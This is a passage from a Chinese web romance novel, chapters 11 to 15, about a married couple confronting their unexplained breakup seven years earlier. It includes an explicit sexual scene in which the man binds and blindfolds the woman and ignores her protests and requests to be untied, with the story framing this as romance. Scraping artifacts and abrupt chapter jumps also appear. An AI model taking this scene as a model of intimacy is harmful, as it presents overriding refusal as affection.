章婧怡把脉之后诊断,“后天性痛经,气血不足,拿点药调理调理,每晚温水泡脚,水不用太烫,忌生冷食物,生冷食物不是常规的冷饮西瓜,柚子冬瓜海带也是,算了,我一会发给你一个清单。” “谢谢。”宋时微拿手机记录。 章婧怡瞟一眼身后挺拔的男人,“让他记,做人老公就要尽好本分。” 她冲着谢屿舟说:“最后传达老太太的话,你少气点你媳妇,多关心她比吃什么药都强。” 面对宋时微,露出和善的笑容,“微微,他要是惹你生气,尽管来找我,从小他就怕我。” 谢屿舟:“我那是让着你。” 又拎了几包药回家,她快成药罐子了。 两个人坐进车里,谢屿舟却说:“我忘了一件事,你等我一下。” 宋时微:“好。” 章婧怡在办公室等谢屿舟,“如果她以前完全不痛,现在痛得厉害,一般来说,不爱惜身体、经期吃冷饮的确会影响,据我把脉的情况来看,微微的变化也许和长期泡在冷水,以及过度劳累有关,我看她的手,哪里像现在女孩子的手,茧很厚。” 谢屿舟到了车上,脑海里循环三个字‘茧很厚’。 男人握紧宋时微的手,攥在手心里,盛夏季她的手竟然很冰。 他和她十指紧扣,佯装无意,指腹蹭过她掌心硬硬的茧。 做了什么才会留下这些茧。 刚到家,谢屿舟钻进书房,给余子昂发信息,【还没调查出结果吗?】 余子昂:【大哥,这才过去几天,七年前的事,邻居都不知道搬到哪里去了,你得给我时间吧。】 谢屿舟转而拨通电话,冷冷道:“给你一个月时间。” 余子昂哀嚎:“大哥,你可真是杨白劳,比黄世仁还没人性。” 为了他,他放弃下班时间,在老城区晃悠。 “报酬翻倍。”男人说。 余子昂总算明白古时候的昏君是什么样子和,“你真的被宋时微拿捏得死死的。” 这时,路过的一位大叔说:“宋时微?你认识宋时微?她们去哪了?回来了吗?” “怎么?你认识?”余子昂打开免提,给大叔递去一包和天下。 大叔看他西装革履,出手大气,“认识,当初她和她妈卷了我大哥的钱就跑了,现在还敢回来。” 余子昂:“展开说说。” 说女的嫌弃家里穷,带着女儿卷款潜逃,又扯到大哥多好多好,骂宋时微母女白眼狼。 艰难漫长的三十分钟,余子昂忍着听完,他掏掏耳朵,“这样啊,我也在找她,她欠了我哥们的债。” 情债也是债。 “就知道他们不安分。” 余子昂留下大叔的联系方式,送走他,和听筒另一头的男人说:“你都听见了,据我判断,他嘴里没几句真话,听听就行了。” 大叔说的话,谢屿舟一个字都不相信。 余子昂又说:“你想知道什么直接问宋时微不就好了。” 谢屿舟沉声说:“我给你挂个脑科。” 这是让他去看看脑子的意思,余子昂不和情场失意的人计较,“人家不愿意告诉你,我慢慢调查吧。” — — 总经理办公室,孟新允汇报今日行程,“谢总,晚上和顾总吃饭。” “我知道了。”谢屿舟淡掀黑眸。 随后,男人给宋时微打电话,“我今晚有商务局,不用等我,早点睡。” 他这是和她报备吗? 宋时微回:“好。” 餐桌上的鲜花换成了白色玫瑰,空旷的大平层只有她一个人。 宋时微睡不着,索性坐在沙发上等谢屿舟。 家里没有其他生物,四周阒静无声,太过冷清,窗外夜色正浓。 种菜游戏好无聊,机械化收割栽种,朋友在国外旅游,时差不同。 时针指向数字10,玄关处终于有了动静,宋时微放下抱枕跑过去。 是孟新允送谢屿舟回来,“太太,谢总今天喝得有点急,这是胃药。” 男人走路平稳,看起来没有大碍,只冷白的皮肤染上红意,顺着脖颈蔓延至锁骨。 宋时微接过纸袋,微蹙眉头,“孟助,谢总经常这样喝酒吗?” 孟新允:“对,谈合作难免要应酬,尤其是谢总刚上任,都是上来就喝酒,今天还算好的。” “难怪有胃病。” “胃病不是,是老毛病,七年前在国外的时候落下的。” 国外?七年? 宋时微追问:“怎么造成的?” 孟新允:“就……” 谢屿舟出声严厉制止他,“孟新允,你今天话多了。” 孟新允被老板训斥,及时止住话头,“太太,我先走了。” 他在门外小声说:“太太,谢总心情可能不好,有人提到七年前的事。” “好。”宋时微叮嘱他,“你慢点,记得叫代驾。” 男人站在水吧台前,仰头灌下一杯温水,坚硬的喉结滚动,神色冷峻如冰峰。 “你要吃药吗?” “不用,我去洗澡。” 宋时微习惯了他冷冰冰的态度。 担心谢屿舟摔倒,宋时微站在卫生间门口等他。 淅淅沥沥的水声停止,男人拉开门,看到她一把将她搂在怀里。 “谢屿舟。” 宋时微心跳如擂鼓,试着喊他的名字,残存的酒味混着雪松香气钻进她的鼻尖。 “怎么了?” 男人的下颌垫在她的肩膀,双臂紧紧箍住她,动弹不得。 长久的沉默中,他问:“时时,七年前为什么不告而别?” 第 12 章 撒谎[VIP] 第12章撒谎[vip] 时隔七年,谢屿舟再次叫宋时微‘时时’,属于他独一无二的昵称。 浸了酒磁性的嗓音,每每读‘时时’别有韵味,曾经带温情,现在只剩下疏离。 重逢至今,关于七年前,终于有人先开口了。 宋时微一直在自欺欺人,想着他不问便不说。 她轻易被击穿,手掌不自觉蜷缩成球,垂下脑袋,闷闷出声,“对不起。” 窝在谢屿舟怀里,不敢抬眼看他。 当年的确是她选择放弃了他。 室内再次陷入寂静,死一般的安静,耳朵里可以听见彼此的呼吸,以及紧紧挨着的心跳声。 谢屿舟声线冷硬,“你知道的,我要的不是‘对不起’。” 明明是亲密无间的拥抱,他与她好似相隔万里,猜不透摸不准她的想法。 宋时微当然知道,她能给的只有‘对不起’,弱弱地再次说道:“对不起。” 有些事不是某一个人造成的问题,结果已经注定。 混了大麦香气的空气持续发酵,随着第二声‘对不起’急速冷冻,快要将她侵蚀。 意料之中的答案,谢屿舟自嘲似的勾了下唇,松开怀里的女人。 宋时微偏头,恰巧对上谢屿舟的黑眸,她微启朱唇。 在白光照耀下,喝了酒洗完澡的男人,眼神愈发黑亮,“不要再说‘对不起’。” 他的嗓音里似乎染上一层薄怒。 谢屿舟神情严肃,“算了,随你。” 男人从她身边擦肩而过,浓黑的瞳仁似黑曜石,漆黑碎发遮住眼里黯淡下去的光。 宋时微不知道从哪里来的勇气,拽住谢屿舟的胳膊,踮起脚尖径直吻在他的嘴上。 女人学着他的动作,含住他的薄唇,抖动小巧的舌尖,试着向口腔里探。 这种生疏,最为致命。 谢屿舟怔然数秒,扯住她的手,不可置信地问:“宋时微,你……” 为了不让他再纠结于七年前,竟然使出这种手段。 宋时微仰头看他,清润的眼睛里蒙上一层水雾,“谢屿舟,你亲亲我,好不好?” “过去的事就让它过去,好不好?” “不要再问,好不好?” 在宋时微一连串请求的‘好不好’中,谢屿舟伸出手指,将她掉落的刘海掖到耳后。 “好。” 明知道是她惯常的手段,每一次都会如她的愿。 宋时微主动牵住他的手,抱住男人,趴在他胸前说:“谢屿舟,我们好好过日子,你是我老公,我是你老婆,没有人没有事再可以分开我们。” 她心里打鼓,不确定有没有用。 等了一小会儿,宋时微得寸进尺,“你不说话,我当你答应了。” 谢屿舟垂眸盯着她的眼睛,声音微微缓和,“你最好能做到。” 宋时微举起右手的四个手指,“我会的,我发誓。” 谢屿舟微阖双眸,捏捏! 鼻根,“继续。” “什么?” 男人的手指在她的唇上轻点,指腹压上去,凌厉眼神随着灯光直直投下。 宋时微:“哦。”刚是迫不得已,是为了让他闭嘴,现在被人当面要求,她难免扭捏。 谢屿舟弯下腰,矜贵的脸凑到宋时微面前,薄唇紧抿,“嗯?不愿意?所以刚刚只是为了哄我?” “不是。” 宋时微手指在衣摆打圈,她有些心虚,被他直接拆穿。 为了打消他的顾虑,她握住男人的手臂,再次垫脚,迎着他的目光,吻了上去。 只是,被人盯着的紧张,吻偏了既定的航线,落在谢屿舟的下颌上。 男人的喉咙溢出淡淡的笑。 宋时微自暴自弃,点了下他的唇,就要逃离。 谢屿舟揽住她的腰,抵住她的额头,鼻尖相碰,“时时,这样可不好。” 宋时微佯装听不懂他的意思,“亲过了,你要睡觉吗?头疼吗?要不要喝解酒茶,胃药吃了吗?” “时时,这么多年还是这套。”关键时刻岔开话题,男人笑容更甚,“我来教你。” 尾音和吻尽数落进宋时微的唇中。 月色灼灼,女人的口腔内被渡入薄荷味道和酒的香气。 宋时微和谢屿舟一起醉了,脑袋昏昏沉沉。 两个人辗转一边吻一边走进房间,齐齐倒在床上。 谢屿舟趴在宋时微的身上,食指刮过她肿起的唇,潋滟唇光,“教这么久,还是学不会。” 宋时微撇开男人赤裸裸的视线,硬气回他,“你教得不好。” 男人再次压下来,“慢慢教你。” 最后,主动的人丧失了主动权,变成被动学习的一方。 整晚,谢屿舟好心教她接吻、换气,如之前的每天晚上。???x 不厌其烦,一遍又一遍。 只是今晚不太一样,多了其他方面,男人的唇游移到耳垂、脖颈。 谢屿舟咬住宋时微的脖颈,在贝齿间摩挲。 “谢屿舟,好痒。” “那我轻点。”男人的吻和他说的话是两个相反的极端。 “痛。” 谢屿舟似乎喜欢听她‘哼唧’的声音,宋时微喉咙里溢出‘唔’的声响。 他一只手箍紧她的手腕,不让她逃离,不让她动弹。 男人发狠地咬住她的脖子,宋时微手指蜷缩,“好疼。” 似乎是在惩罚她。 “咬我。”谢屿舟的手指伸进她的嘴唇里,让她咬他的手指缓解。 他陪她一起痛。 如果不是恰巧生理期,恐怕早已干柴烈火。 他咬她的脖子,她咬他的手指。 谢屿舟睡着后,宋时微捞起床头的手机,给孟新允发消息。 【孟助,晚上发生什么事了?】 七年前只是暂时被她用吻压了下去,她没有和他对着干,谢屿舟才没有追问。 孟新允:【太太,有些人仗着年纪大,提到七年前谢! 总找您的事情,说了几句不太好听的话,谢总没表现出来,但让我停了合作,后面酒喝得急。】 宋时微:【说了什么?】 孟新允:【说什么样的女人没有啊,不要为了一个女人要死要活,那波人就喜欢教育人,还要给谢总介绍女人,你放心,谢总心里只有你,这么多年一直洁身自好。】 他趁热打铁,【谢总晚上一直在看手机,我猜是在等你电话,丈夫在外应酬,很多太太都会打电话查岗问什么时候回去。】 宋时微:【胃病呢?】 孟新允:【刚到国外,饮食不习惯,加上谢总在逃避一些事情,废寝忘食,睡得也不好,经常看钱包里你的照片,我就是捡到钱包和谢总认识的。】 老板,我能做的都做了,后面看你自己的造化了。 宋时微:【谢谢孟助。】 她对着天花板怔然发呆,心脏止不住地疼,原来不止她,还有一个人和她一样难过。 摸摸脸颊,怎么是潮的。 察觉到身旁人的动静,谢屿舟长臂一伸,下意识抱她在怀里,嗓音倦怠,“失眠了吗?” 宋时微摇摇头,“没有,晚安。” 针锋相对被轻易化解,重逢后彼此难得的温情时刻。 一夜好眠。 翌日,天朗气清,漫长的梅雨季终于结束,进入盛夏季。 谢屿舟醒来,摸摸旁边的床铺,没有摸到人,床单裹挟凉意,宋时微不在。 男人迅速掀开被子,向门外跑。 他推开门,四处寻找,在衣帽间门口驻足。 此刻宋时微微蹙眉头,在他的领带面前犯难,踌躇不决,不知道选哪个。 每拿起一条,在不同的衬衫面前比划一下,都摇摇头。 循环往复周而复始,最终选定。 宋时微回过头,看到谢屿舟正看着她,两个人的视线在晨起柔和的光线里相碰。 女人唇角弯起漂亮的弧度,“你醒啦,今天戴这条领带吧。” 她选了一条深紫色斜条纹领带,搭配白色系衬衫。 谢屿舟走上前,“好,听你的。” 男人脱掉家居服,当着宋时微的面换衬衫,挑破她的害羞,“要习惯。” 日光正盛,一览无余他的身材,宋时微想闭眼,但过于欲盖弥彰。 索性大大方方看,他的腹肌线条若隐若现充满力量,肌肉紧实有力。 记忆不自觉飘回七年前,他撑在她的上方,用蛮劲撞他。 又从身后抱紧她,而她因为初经人事,根本经受不住莽撞,指甲嵌进他的肉里。 “一起扣。”谢屿舟握住她的手,扣上衬衫纽扣。 宋时微手掌烫得像发高烧,烧红了耳根。 “我学会系温莎结了。” 男人的上半身靠近宋时微,微微俯身配合她的身高,领带套成圈从他的头上穿过。 宋时微白皙的手指在领带上绕圈、打转,女人神情紧张又专注。 脖颈处有他昨晚留下的红痕。 谢屿舟定定! 望着眼前的女人,目光一瞬不移,生怕她与晨雾一同消失。 宋时微随意抓起长发,身穿雾紫色系带衬衫,给他系同色系领带,画面美好得不真实。 好像梦中才会出现的场景。 宋时微仰头笑着问:“怎么样?还可以吧。” 谢屿舟微弯薄唇,“进步很大。” 宋时微和他闲聊,“你的领带都好正式。” 谢屿舟牵着她的手,一同走进洗漱间,“你帮我买几条。” “好。”看到桌面的小熊摆件,宋时微逗他,“我买小熊的你也系吗?” 谢屿舟立刻回:“系,太太买的都是好的。” 今天依旧是分开两辆车上班,谢屿舟先去分公司开会。 男人在地库和宋时微告别,“下午见。” 宋时微催他,“你快去吧。” 孟新允在分公司楼下见到老板,担心的心情放下,“老板,今天这么开心啊。” 谢屿舟极力想压没有完全压下去的嘴角,看来昨晚被老板娘哄好了。 不枉他一直不睡,等老板娘来问他。 分公司总经办的同事早已在楼下等候,远远迎了上来。 谢屿舟掏出手机回工作信息,食指上的牙齿印印入孟新允的眼睛。 我靠我靠,他发现了什么惊天大秘密,他要做好老板的爱情保镖。 谢屿舟敛起神情,斜乜他,“你昨晚话太多了,你很闲吗?工作不饱和?” 孟新允:“没有,没有。”他赶紧闭嘴。s??x 第 13 章 放松[VIP] 第13章放松[vip] 暖黄色的壁灯安静作业,中空玻璃隔绝了所有的噪音。 宋时微本能地蜷起上半身,男人似密不透风的高山,压得她喘不过来气。 谢屿舟的眼神漆黑如墨,如无底的深渊,将她吸进去,再也出不来。 “谢屿舟,你混蛋。” 宋时微毫不留情伸手地骂他、锤他,一拳一拳落在男人的身上。 却推不开他。 她越挣扎,他越兴奋。 谢屿舟‘贴心’在她耳边说:“时时,这才开始,省点力气。” 随着话音的落下,男人用了第一根手指。 “啊。”七年没有过这种生活,宋时微经受不住挑拨和刺激,忍不住叫了出来。 谢屿舟的喉咙里溢出笑,吻从女人的耳朵移到脸颊。 缓慢移动,一步一步折磨她。 宋时微抬起手掌打在男人的脸上,一道突兀的“啪”声响,终止了即将到来的吻。 她使出浑身力气,没有收着力道。 指甲划过男人的下颌,留下一道指痕。 谢屿舟抓住她的手腕,在脉搏处轻轻打圈按摩,心疼问她,“手疼吗?” 看似关心,实则不然,佩服他一心二用。 宋时微的头偏过去,错开他的目光,狠狠骂他,“你无耻。” 手腕挣脱不开男人的桎梏。 “左边再打一下,时时。”谢屿舟牵着她的手,引她去打另一边。 “你疯了。”哪有人求别人打脸的。 宋时微抿紧嘴唇,不再说话,任由他摆布。 不想承认,因为对他有感情,情感不受控制,不断分泌愉悦感。 “又忍着不出声。” 谢屿舟撬开她的嘴唇,女人柔媚的声音成功泄出,在两张唇齿间交流。 “时时,手都被你打/shi了。” 乳白色顺着手指汩汩滑落。 宋时微听到他直白的挑逗,本能地大口喘气,给了谢屿舟可乘之机,嘴被他封住。 他抱紧她,钳住她的月退,不让她乱动。 “宝宝,抖什么?” 对他的记忆太过可怕,她不想的。sh?x 谢屿舟幽幽吐槽,“你前夫是一点都不行,还是这么jin。” 男人眼神倏地收紧,“如果再加一个呢。” 宋时微被逼出眼泪,绷直蝴蝶骨。 谢屿舟轻声哄她,“时时,放松,乖。” 然而,他并未停下,愈演愈烈。 像饿了许久的狼,啃食猎物,咬住不松口。 仅一个吻而已,较劲。 宋时微濒临窒息,又被牢牢困住,忍不住咬了他的嘴。 咬破了皮,渗出血珠。 谢屿舟舔了下血渍,咸咸的,腥腥的,“时时,再咬重点。” 宋时微怒骂他,“变态。” 白色睡裙裙摆犹如绽放的昙花,铺在灰色被单之上。! 突然,谢屿舟问:“他亲过这儿吗?” 宋时微凶狠狠瞪他,“亲过,比你亲得好。” 持续补充,“你亲得一般,很一般。” 现在说这种话,无疑增加男人的胜负欲。 谢屿舟不气不恼,徐徐说道:“宝宝,时间还早,我们慢慢练习。” 男人慢条斯理抽出床头的领带,缠绕在宋时微的手腕上,系了个死结,绑紧。 找出一条丝带,覆在她的眼睛上。 宋时微行动受限,眼前一片漆黑,丧失视觉,扬起声音问:“你要做什么?” 谢屿舟启唇,说了一个字,“你。” 宋时微放缓声音,“你能不能放开我?” 谢屿舟蓦然笑了下,无情拒绝她的请求,“不能,你会跑。” 她的手腕被绑在床头,被男人死死摁住,宋时微没有办法捂住耳朵,被迫听他亲吻她的声音。 眼泪不断渗出,男人柔软的舌尖如七年前一样,毫无章法,几乎没变。 他没有过其他床伴吗? 不过,以他的身份,只有别人伺候他的份,哪需要他亲自动口。 “啧啧”水声灌入她的耳中,听起来面红耳赤,“宝宝,你想尝尝吗?” 打断了宋时微的遐想。 “不想。”她为了转移注意力,吐槽另一头的男人,“这么多年一点进步都没有,技术更差了。” “对你够用就行。”谢屿舟含糊不清,“要换被单了,乖乖。” 时时、宝宝、乖乖,一晚上变换几个称呼,曾经碰一下就耳红的人,现在说起dirtytalk得心应手。 从一开始,每次即将到达的时候,他都停下。 大发善心问她一句,“宝宝,想要吗?” “不想。” 谢屿舟细心地替宋时微穿好衣服,盖住肩膀,“那算了,我不爱做强迫人的事情。” 那今晚的一切算什么?可笑。 男人解开束在她手腕的领带,吻在她的嘴角,擦掉眼尾的泪珠,“我们还有差距吗?” “有。”宋时微嗓子哑了,偏头躲了过去。 谢屿舟的手掌强势握紧她的后脖颈,退无可退,挨着她的唇问:“要尝尝吗?” “不要。” 残留的暧昧气息在鼻息间肆无忌惮乱窜,交织在一起,分不清彼此。 “自己的还嫌弃啊。”她不想尝,他偏要亲她,让她一起吃,闯入她的口腔中,渡给她他刚刚吃的‘饮料’。 谢屿舟慢条斯理说:“好吃,很甜。” 宋时微鼻头泛红,回怼他,“你味觉有问题,去看看医生吧。” 她的视线向下移动,即使是黑色西裤,支起的帐篷不可忽视。 情不自禁咽了咽口水。 谢屿舟的虎口卡住她的下巴,拨开碍事的碎发,“又想睡了我,然后悄无声息玩消失,可惜啊,我今晚不想做,不会如你的愿。” 宋时微的清眸染上怒气,“我也不想睡你,技术烂床品差,不如我! 前夫。” “前夫终究是前夫。”谢屿舟眼神聚焦,逐字逐句强调,“对,我是麻烦,你永远甩不掉的麻烦。” 宋时微瞬间明白,确定道:“你看了我手机。” “抱歉,不小心看到。”男人一副坦坦荡荡的表情,丝毫没有歉意的样子。 宋时微拉住他的手,解释,“不是你看到的意思。” 终于明白男人晚上的怒气从何而来。 谢屿舟垂眸望着她,“那是什么意思?谢太太。” 宋时微反问他,“我说了你信吗?” 谢屿舟:“说了才知道。” “不想说了。”宋时微松开他的手,吐槽道:“谢总,你还是去进修一下吧,超级超级超级烂,我怕你下一任嫌弃。” “激将法没有用。”谢屿舟定定看向她,整理好她的睡衣,“不会有第二个‘谢太太’。” 宽大的手掌拍了拍她的屁股,“下来,换床单。” “都能拧出水了,时时。”谢屿舟拆掉潮湿的床单,塞到宋时微手里,“说谎可不好。” “实话实说。”宋时微看着他,“谢总,需要帮忙吗?礼尚往来。” 过了有一会儿,昭彰依旧明显。 谢屿舟抖动被单,捋平整,“不用,我怕。” 宋时微:“怕什么?” “你觉得呢?时时。”谢屿舟卖了个关子,转身进了浴室。 浴室内,玻璃屏风上未有腾腾水汽。 谢屿舟七年没有过任何人,不想有,除了她,谁都不想要。 至于生理需求,每每想象宋时微的脸自行疏解。 如同今晚。 强忍才没有彻底失控。 剧烈的喘息声中,谢屿舟额角的青筋暴起,嫌弃冲掉手中的污秽。 不嫌弃她,却嫌弃自己。 —— 昨日的插曲随着清晨的薄雾消失,宋时微明白只是暂时被掩盖,而不是彻底解决。 早晨谢屿舟对她愈发冷淡。 男人在衣帽间冷声喊她,“过来。” 宋时微推开门,“干嘛?”好不容易缓和的关系,再次急速下降。 谢屿舟手上拎了一个领带,“系。” 一个字都不愿和她多说。 男人笔挺站姿,表情冷淡,宋时微系温莎结得心应手,几分钟系好,谢屿舟又伸出手掌。 “戴哪个?” “你挑。” 宋时微选了与领带颜色接近的蓝色袖扣。 眼睛不受控制地瞥到他的冷白手背,蓝绿色血管并不突出,蜿蜒遒劲,手指修长。 就是这双漂亮的手,在她身上做起了画,如临其境。 ‘咔哒’袖扣扣紧,“好了。” 谢屿舟吻上宋时微的额头,“感情是要继续培养的,时时。” 他强势牵住她的手,“放心,我答应了你,不会公开。” 男人话锋一转,“但,不许和陈叙白再有来往。” 宋时微抬头睨向他,“你凭什么! 干涉我交友?” 谢屿舟强调,“谁都可以,他不行。” 宋时微轻蹙眉头,“为什么?” “没有为什么,我讨厌他。” 宋时微不明白为什么谢屿舟那么讨厌陈叙白,他不会给一个无关紧要的人眼色。 陈叙白在他那里算独一份。 两个人手牵手走去餐厅,从背后看,俨然一对如胶似漆的新婚夫妻。 “临港我会陪你去,房子的事情我搞定。” 宋时微拒绝,“房子的事我自己解决,你、叙白哥都不要参与。” 听见‘叙白哥’三个字,谢屿舟眉头紧锁,“你答应我不再和他联系,我就答应你。” 宋时微无奈应下,“好。” 第 14 章 肿了[VIP] 第14章肿了[vip] 宋时微没来得及点进聊天页面,将手机扔给谢屿舟,差点砸到他的手,“我才没有感动,删完了睡觉。” 想象里他会念念不忘,直面而来的冲击不可小觑。 被人惦记放在心上。 熄了灯的主卧,厚重的窗帘透不进一丝光亮,被黑暗包裹的同时,沉在男人的气息里。 宋时微望着漆黑的天花板,喃喃问谢屿舟,“你为什么答应和我结婚?” 许多问题,不想装傻,想知道答案。 每晚他们用培养感情的理由相拥而眠,不分彼此。 谢屿舟开口,“因为老谢不喜欢你,我和老谢不对付。” 谢宏恺哪里是不喜欢她,是讨厌至极。 “放心,他不会再找你。” “我不怕。”宋时微捕捉到一个‘再’字,“你知道他来找我了?” 俗套的剧情发生在她的身上,被喜欢的人的爸爸用钱砸,让她离开他的儿子。 十八岁的女生怎么和一个咄咄逼人的上位者相抗衡。 她想过,异国恋可以的,可是,造化弄人。 注定有缘无分。 黑暗或许能够降低人的心理防线,两个针锋相对的人难得说起心里话。 谢屿舟没有隐瞒,“后来知道的,他和我说你收了他的钱。” 宋时微捏紧睡衣裙摆,“我没有。” 谢屿舟:“我知道你没有,你应该收的,不要白不要。” 起码这七年不会太难过。 宋时微摇了摇头,“那我们永远都无法平等。” 说她清高也好,矫情也罢,不属于她的钱,她不要。 谢屿舟摸摸她的头,“睡吧,明天要赶飞机。” 促使她离开肯定不止这一个原因,而他什么都不知道。 在前途学业和爱情之中,宋时微选择成全他的学业。 他恨的是她不告而别,恨的是她轻易放弃了他。 最恨的是自己,让她无法信任他,选择独自承受。 另外一边,陈叙白久等不到宋时微的回复,再发送却是醒目的红色感叹号。 不用想,一定是谢屿舟做的。 比起七年前,他现在掌控欲更强。 宋时微依旧站在他那边。 深夜,浓浓夜色泼洒在无边大地上。 谢屿舟犯了失眠的老毛病,怀里的女人呼吸均匀,她喜欢侧躺蜷缩睡觉。 他准备拿开她的手臂,宋时微眉头轻蹙,“不要。” 她搂得更紧。 谢屿舟重新躺下,“好,我不走。” 他的胸前浸入眼泪,一片潮湿,宋时微哭得不能自已,肩膀剧烈颤抖。 她做噩梦了吗? “时时。” 谢屿舟唤她的名字,轻声哄她,“不哭,我在,我一直在。” 宋时微一直呓语,“对不起,谢屿舟。” 她沉溺在无边无际的黑暗噩梦! 里,循环反复,寻不到出口。 从以前到重逢,谢屿舟极少见到宋时微哭,她一直把自己藏在坚硬的壳里。 考试考砸了难过几秒恢复活力,和他吵架倔强离开,然而,她又是一个容易感伤的人,看电视会哭,看到猫猫受伤也会哭。 没有一次,像今晚哭得这么伤心。 谢屿舟拍拍她的肩膀,“你没有错,是我的问题。” 似乎是感受到他的安抚,宋时微渐渐平静下来,蹭了蹭他的胸口,贪恋地抱紧他。 一个吻落在她的额头。 宋时微头疼欲裂,睁开肿胀的眼睛,抬眼对上男人的眼睛,好似有一闪而过的心疼。 “几点了?” 谢屿舟极快松开了她,“时间来得及。” “好,我先去刷牙。” 宋时微没有断片,她清楚记得做过的梦。 梦见谢屿舟和别人结婚,他愤愤地说他恨她,他说希望他们从来都不曾认识过,他说后悔和她做过。 他在梦里否定了他们的一切。 白天的他们,少了黑夜的遮掩,双双裹上麦芒。 机场人群熙熙攘攘,谢屿舟牵紧宋时微的手,担心她被人群挤散。 宋时微抽出手臂,“我们分开走,你先上去。” 谢屿舟眉头轻拧,“没有同事。” 宋时微紧张过了头,“万一被看到多麻烦。” 谢屿舟极轻叹息,“躲躲藏藏遮遮掩掩,我不是你的小三。” 谁敢让谢屿舟做小三啊。 他说归说,最终采纳她的建议,只是让她先去值机,他在她身后的位置,隔了三个人的距离。 短暂的分开,在头等舱重遇。 谢屿舟:“给我一只耳机。” 好像回到高中时代,只是那时是有线耳机,不再播放英语听力。 哀伤的女声传入耳中。 “仿佛上一分钟,你还陪在我左右,还以为我们会开花结果。”* “我还记得那年晴空万里,那一道飞机云的弧线 蜿蜒着思念,写下故事的总结。”* 飞机进入雨带区,四周变得昏暗,耳机里的歌曲进入高潮。 “离开很不舍得,以为会崩溃的,却在最痛的时刻最感觉清澈,什么都会过去的。”* “谁的一见钟情不刻骨铭心,谁能任性不认命。”* 音乐软件有了记忆,自动播放。 这是宋时微离开南城后创建的歌单,收集了一堆有关‘分手’的歌曲。 每一句歌词,好像都是在说他们,折射了他们的故事。 飞机穿出雨区,大片的云朵包围飞机。 宋时微的头瞥向窗外,云卷云舒两相忘,云过无痕却在她心里留下了印记。 她攥紧一张餐巾纸,展开又折叠,来来回回折腾好几次,变得皱皱巴巴。 碎成了一粒一粒的渣。 其实从第一句歌词开始,宋时微和谢屿舟没有说话。 谢屿舟握紧她的手,制止她无意! 义的动作。 歌单播放完毕,自动切换到其他歌曲,是耳熟能详的一首歌曲。 “我向你追,风温柔的吹,只要你无怨我也无悔。”* 一系列低缓的歌曲后,再听这首曲,颇有一种雨过天晴,柳暗花明的感觉。 与窗外的景色不谋而合,前方日光闪烁,一望无际的蓝天。 宋时微用余光偷窥身侧的男人,神色自若,正在平板上浏览pdf文件。 谢屿舟将平板侧过来,放在座位之间的台面上,“傅景深发来的可行性方案,你一起看看。” 原来感伤的只有她一个人,谢屿舟用降噪耳机屏蔽舱内的噪音罢了。 宋时微吸了吸鼻头,“好。” 报告不长,不足十页,没有花里胡哨的大段叙述,简明扼要阐明了他们的优势。 宋时微从刚刚的情绪中抽出,几分钟浏览完报告。 谢屿舟开门见山,“你怎么想?” 宋时微略微思索片刻,“傅总说的很有道理,竞争太激烈,重点在于成本把控和定价的平衡,我们也有优点,本身有知名度,善加利用,我是觉得,可以合作,当然我的想法不成熟,还比较片面。” 谢屿舟颔首,问了另一个问题,“你怎么会去饮料线?” 众所周知的边缘部门。 宋时微解释,“领导的分配,我不知道总经理是你,法人代表不姓谢。” 谢屿舟的黑眸瞥向她,“知道总经理是我,你就不会来面试,是吗?” 宋时微没有即刻回答陷阱题,深思后启唇。 沉默是最显而易见又容易误会的动作。 何苦为难她为难自己,谢屿舟没有逼问,截断她要说的话,“关于傅景深你怎么看?” “我不熟。”又是一个陷阱题,宋时微观察谢屿舟的表情,一副云淡风轻不在意任何事的表情,“不过我猜,他不是玩票,是想慢慢取得傅家的实权,又不想过于招摇,容易打草惊蛇,所以选择这个不起眼的行业,也是一个好消息,他不会半途而废。” “不愧是一起相过亲。” 谢屿舟补充,“陪别人也算。” 宋时微凝视他的眼睛,说:“你很在意我和他相过亲。” 她用的是肯定无疑的语气。 谢屿舟坦然承认,“是的,谁都不想成为备选。” 宋时微应对自如,“备选好过无法上场,谢总,你觉得呢?” 还是曾经伶牙俐齿的人,说话直接。 谢屿舟扣住她的脖颈,“所以我是备选?” 宋时微露出一个人畜无害的笑容,“我没说,你自己认为的。” 气流不稳,飞机舱颠簸了一下,打断了他们的谈话。 宋时微收到林以棠发的旅游照片,一眼看出重点,【你和顾景渊一起去旅游的?】 林以棠:【是啊,婚前旅游,看看适不适合结婚。】 宋时微:【所以,怎么样?】 林以棠:【还可以,你帮我想想,我在哪儿见到过他。】 宋时! 微:【我努力回忆,不认识。】 无奈,她盯着顾景渊的照片细细打量,完全没有印象。 蹙眉、发愁的小表情落入谢屿舟的眼中,男人哼笑一声,“当着我的面看别的男人,这不好吧,谢太太。” 宋时微懒得搭理他,“顾景渊你应该认识吧。” 毕竟他们算是一个圈层的人。 谢屿舟:“认识,不熟。” 宋时微:“他有没有白月光或者金屋藏娇?” “我不关心别人的八卦。”谢屿舟话锋一转,“我只知道,我没有。” 宋时微咕哝道:“我又没问你。” 谢屿舟微扬薄唇,“我以为谢太太是旁敲侧击,毕竟我们不熟。” 重音刻意咬在‘不熟’两个字上,借机内涵她,她经常说他们不熟。 宋时微:“你这疑心病有点重。” 谢屿舟反问她,“你有吗?” “没有。”宋时微岔开话题,“你这样不累吗?” 与经济舱不同,商务舱中间的隔板较宽,为了方便和她聊天,谢屿舟的上半身探到她的那一边。 第 15 章 脏了[VIP] 第15章脏了[vip] 什么肿了? 宋时微点开手机的镜子功能,从镜面里看到,她的嘴巴微微鼓起,旁人一看便知发生了什么。 没办法再去赶海,被迫和谢屿舟一起在石头后面继续看报告。 “谢屿舟,禁止靠近我。” 不分场合,没有理由,想亲她就亲她。 和曾经完全不同。 也不全是,比如耳根依然容易红透。???x 宋时微倚靠在石头上,轻轻拂掉手心的沙子和手背的灰。 风似乎变了方向,受狭管效应影响,鬓角的碎发沾到脸上,沙子与汗液一起黏在掌心,怎么都去不掉,心情蓦然变得烦躁。 不知是因为风和沙,还是他们这乱七八糟寻不到方向的感情。 谢屿舟阻止她的动作,“别较劲了。”手快要被她搓破皮。 男人牵着她脏了的手往他身上抹,在熨烫整齐的私人订制白衬衫上留下灰色印记。 像小朋友玩的恶作剧,突兀至极。 他的举动,让宋时微差点忘记,其实他有洁癖,很严重。 宋时微将头发掖到耳后,喃喃说:“衬衫脏了。” “脏了洗一下。”谢屿舟拧开随身携带的矿泉水,冲干净她的手,“干净了。” 明明三分钟前凶狠亲她的是他,现在温柔给她洗手的还是他。 他很矛盾,如磁铁的两极。 宋时微编了一个理由,发给蒋俊明,【俊明哥,谢屿舟急着开会,我们先回去了。】 蒋俊明:【行,晚上请你和你老公吃饭。】 宋时微:【让他饿着。】 